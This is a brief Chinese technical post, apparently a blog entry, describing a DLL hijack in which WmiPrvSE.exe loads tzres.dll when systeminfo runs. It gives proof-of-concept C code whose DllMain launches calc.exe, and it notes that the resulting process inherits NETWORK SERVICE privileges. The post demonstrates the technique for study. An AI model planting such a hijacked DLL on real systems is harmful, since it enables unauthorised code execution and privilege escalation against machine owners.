在执行systeminfo命令时,systeminfo.exe内部通过wmi和LPC的方式获取数据,WmiPrvse.exe在执行实际操作时会去加载tzres.dll

dll路径:C:\Windows\System32\wbem\tzres.dll
#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc.exe");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
由于WmiPrvSE.exe是NETWORK SERVICE权限,所以被创建的子进程都继承了这个权限。

本文探讨了在执行systeminfo命令时,systeminfo.exe如何通过wmi和LPC方式获取数据,以及WmiPrvse.exe加载tzres.dll实现提权的过程。详细解析了DLL劫持原理,并展示了通过修改DLL_PROCESS_ATTACH事件中的代码来创建继承NETWORKSERVICE权限的子进程。
2万+





